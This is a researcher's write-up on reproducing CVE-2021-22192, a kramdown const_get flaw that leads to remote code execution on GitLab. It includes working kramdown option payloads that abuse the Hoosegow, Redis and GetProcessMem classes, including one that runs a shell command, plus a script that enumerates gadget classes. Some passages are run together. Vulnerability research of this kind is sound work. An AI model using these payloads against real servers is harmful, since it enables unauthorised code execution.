
CVE-2021-22192
When I started to analyze this bug. I only had some valuable information from lyy289065406 that helped me understand the core issue in this bug. It seems that the bug is in the kramdown gem (<= 2.3.0), so I began to look into kramdown first.
We can check the kramdown patch, and we see the difference in the formatter_class function at module Kramdown::Converter::SyntaxHighlighter::Rouge
::Rouge::Formatters.const_get(formatter) changed to ::Rouge::Formatters.const_get(formatter, false)
The const_get function is inherited from the Object class; it can retrieve constants. It can even return classes that were previously declared and findable. The difference here is just adding a parameter false. Adding the false parameter makes const_get unable to get constants from the parent class or modules.
What's more special: in the self.call function, formatter_class is called, then new(opts) is called. That means the method obtained via const_get will have its Constructor called to initialize.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Based on Kramdown:Options we can call the function Kramdown::Converter::SyntaxHighlighter::Rouge.call
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
Furthermore, we also see that at module Kramdown:Options, the function simple_hash_validator calls YAML.safe_load(val). Thus, we can also configure the YML file to supply the desired payload to Kramdown::Converter::SyntaxHighlighter::Rouge
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
First, I need to set up Jekyll:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock file to downgrade kramdown version to <= 2.3.0cd jekyllTest
File Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
Thus, we have completed creating a Jekyll page. Now we can inject the payload to see if Kramdown::Converter::SyntaxHighlighter::Rouge.call actually calls a method.
We can add to the file ./_config.yml
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
Or use the kramdown Document by adding the payload to ./_posts/*.markdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Here I'll use the second method =)))))
bundle exec jekyll serve
You might encounter the error "require': cannot load such file -- webrick (LoadError)" – you need to add gem "webrick"` to the Gemfile
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: This proves that the CSV class was called.According to a analysis article CVE-2020-10518 that uses a bug in kramdown to cause RCE on Github. I target the Hoosegow class:
initialize function of Hoosegow, it calls load_inmate_methodsdef initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods, we see it calls require inmate_file def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
And inmate_file is created by concatenating @inmate_dir with 'inmate.rb'. If we can call this class and change the inmate_dir parameter to the path of our payload file, wouldn't that lead to RCE?
I ran a script in the Jekyll page path to check the defined methods:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow"require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
gem "hoosegow" to the Gemfile and the script found this class. [Hehehe]Hoosegow via kramdown{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
I was stuck here.. for a week. Yep, wasted a whole week on it. I kept circling the question: "Why is the Hoosegow class present in bundler, but when called from within Kramdown it's not found? Shouldn't it be there?"
I thought: "If it's declared in the Gemfile, then the class path already contains that class. So if the program still can't find 'Hoosegow', it must not have been loaded...". So is there any way to declare a gem so that when Jekyll starts, it loads the gem before processing other parts of the source directory?
I read the Jekyll docs and found jekyll_plugins. Declaring it in the Gemfile like that wasn't enough; you have to declare the gem in the jekyll_plugins group to make it work :( because when you declare a gem inside jekyll_plugins, the gem is called unconditionally before Jekyll processes other sources. Even when running Jekyll in safe mode.
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.12"
gem "hoosegow"
end
inmate.rb file at C:/ and ran the payload:{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}
~~~ ruby
def what?
42
end
~~~
inmate.rb file was called. So it seems we are almost successful in reproducing the PoC.
inmate.rb file to the Gitlab server and know where the uploaded inmate.rb file is located?inmate.rb file to our own project and then edit the .gitlab-ci.yml filebefore_script:
- pwd
- gem install bundler
- bundle install
.gitlab-ci.yml file. I tried to explain it in various ways: "Maybe there is a mechanism that scans the .yml file before it gets loaded?", ... but none satisfied me.
I looked for another input path: the wiki page. The wiki page allows using the kramdown format, so I suspected and tested here, but got no results because I only put the payload in the default '*.md' file, while '*.md' files restrict the necessary feature, so I abandoned this path :(
At this point, I had to stop and wait for the PoC to be published to save time for other research.
One fine day, the PoC was published. After reading it, the feeling of being a total noob surged strongly.
The core issue lies in kramdown, which we got right, but the path to it in Gitlab was a bit off =)
The author discovered that when uploading a wiki page with a '*.rmd' file, the program calls render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. So the '*.rmd' file is rendered with kramdown.
The author uploaded his '.rmd' file by cloning the wiki page locally, then using git to push the wiki page (including the '.rmd' file) to Gitlab.
The author used the Redis class (already declared in the Gitlab project, so we can call and use this class) to execute his payload.
When initializing the Redis class, if the driver option exists, the program calls the _parse_driver function. There, the program require "connection/#{driver}", we can manipulate the driver variable to make the program load our payload file uploaded to the server.
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
snippets. An attacker can upload a Ruby payload using Attach a file.Using the approach from Kramdown to call the Redis class, first the author imports the gem get_process_mem with the payload
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}
~~~ruby
def what?
42
end
~~~
Then uses the previously imported gem get_process_mem to achieve RCE
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}
~~ ruby
def what?
42
end
~~
Thus, without needing to locate the payload file's address, the attacker can still achieve RCE on the Gitlab Server
Ref: